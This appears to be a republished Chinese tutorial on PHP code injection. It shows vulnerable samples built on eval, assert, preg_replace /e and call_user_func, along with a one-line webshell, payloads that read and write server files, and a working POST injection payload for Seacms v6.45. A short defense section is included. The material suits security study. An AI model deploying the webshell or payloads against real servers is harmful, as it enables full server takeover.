OWASP TOP 10(一)PHP代码注入(概述、注入方式、漏洞利用、防御方法、Seacms的php注入)
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了OWASP TOP 10(一)PHP代码注入(概述、注入方式、漏洞利用、防御方法、Seacms的php注入),小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含4244字,纯文字阅读大概需要7分钟。
内容图文
![OWASP TOP 10(一)PHP代码注入(概述、注入方式、漏洞利用、防御方法、Seacms的php注入)](/upload/InfoBanner/zyjiaocheng/617/7332b3c9628146e08938c4ffdb88e066.jpg)
文章目录
OWASP TOP 10
PHP代码注入
一、概述
- 概述
PHP代码注入(执行):在Web方面应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。
代码执行(注入) 类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它,这样的漏洞如果没有特殊的过滤,相当于直接有一个Web后门的存在。
- php代码注入发生的条件
- 程序中含有可以执行PHP代码的函数或者语言结构;
- 传入第一点中的参数客户端可控,直接修改或者影响。
- 危害
Web应用如果存在代码执行漏洞是一件非常可怕的事情,绝对的暴露,可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果具有服务器没有正确配置,Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
PHP中有很多函数和语句都会造成PHP代码执行漏洞。
二、PHP相关函数&语句
1. eval()
eval() 函数把字符串按照 PHP 代码来计算执行。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
- 注释:return 语句会立即终止对字符串的计算。
一句话木马
<?php
@$str = $_REQUEST['code'];
eval($str);
?>
测试:可以上传多个参数
2. assert()
assert()函数是一个断言函数,如果函数里是字符串时,它会把字符串当做 PHP 代码来执行且不需要分号。
示例:
<?php
@$str = $_REQUEST['code'];
@assert($str);
?>
传入参数测试结果:
3. preg_replace
该函数执行一个正则表达式的搜索和替换。
语法:搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
mixed preg_replace(mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
当 $pattern
处,即第一个参数存在e修饰符时,$replacement
的值会被当成PHP代码来执行。
示例1:
<?php
$str = preg_replace('/a/','b',"accccca");
echo $str;
?>
// 结果:bcccccb
示例2:
<?php
@$code=$_REQUEST['code'];
@preg_replace('/\[(.*)\]/e','\\1',$code);
?>
说明:
\[:转义为[
.*:匹配所有
传入参数测试结果:
4. call_user_func
该函数把第一个参数作为回调函数调用,后面的参数为回调函数的参数。
php中函数有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
示例:
<?php
if(isset($_GET['fun'])){
$fun = $_GET['fun'];
$para = $_GET['para'];
call_user_func($fun,$para);
}
?>
传入参数测试结果:
5. 动态函数 $a($b)
由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。
写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
示例:$a为函数名,$b为函数的参数
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
$b = $_GET['b'];
$a($b);
}
?>
传入参数测试:
三、漏洞利用
1. 直接获取Shell
使用中国蚁剑工具。连接一句话木马的url。
示例:
2. 获取当前文件的绝对路径
__FILE__
是PHP 预定义常量,其含义当前文件的路径。
示例:提交参数:?code=print(__FILE__) ;
3. 读文件
我们可以利用 file_get_contents()
函数读取服务器任意文件。
前提是知道目标文件路径和读取权限。
示例:
提交参数,读取服务器c盘下的hosts文件:?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
4. 写文件
我们可以利用 file_put_contents(文件名,文件内容)
函数,写入文件。
前提是知道一个可写的文件目录。
示例:
提交参数 ?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
,提交了两个参数1,2;
此时需要借助工具(hackbar)通过post方式提交参数:1=test.php&2=<?php phpinfo();?>
成功写入文件:
四、防御方法
- 尽量不要使用eval等函数
- 如果使用的话一定要进行严格的过滤
- preg_replace 放弃使用/e修饰符
- 禁用一些函数如assert:在php.ini配置文件中
disable_functions = assert
五、Seacms的php注入
- 下载安装Seacms
海洋影视管理系统(6.26、6.53、6.54、6.55等版本都存在),存在php注入。
下载地址:https://github.com/ciweiin/seacms
- 测试注入
seacms v6.45 中有个可控的变量没有经过过滤,就被带入了 eval() 中,导致了代码执行。
post参数:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();
内容总结
以上是互联网集市为您收集整理的OWASP TOP 10(一)PHP代码注入(概述、注入方式、漏洞利用、防御方法、Seacms的php注入)全部内容,希望文章能够帮你解决OWASP TOP 10(一)PHP代码注入(概述、注入方式、漏洞利用、防御方法、Seacms的php注入)所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。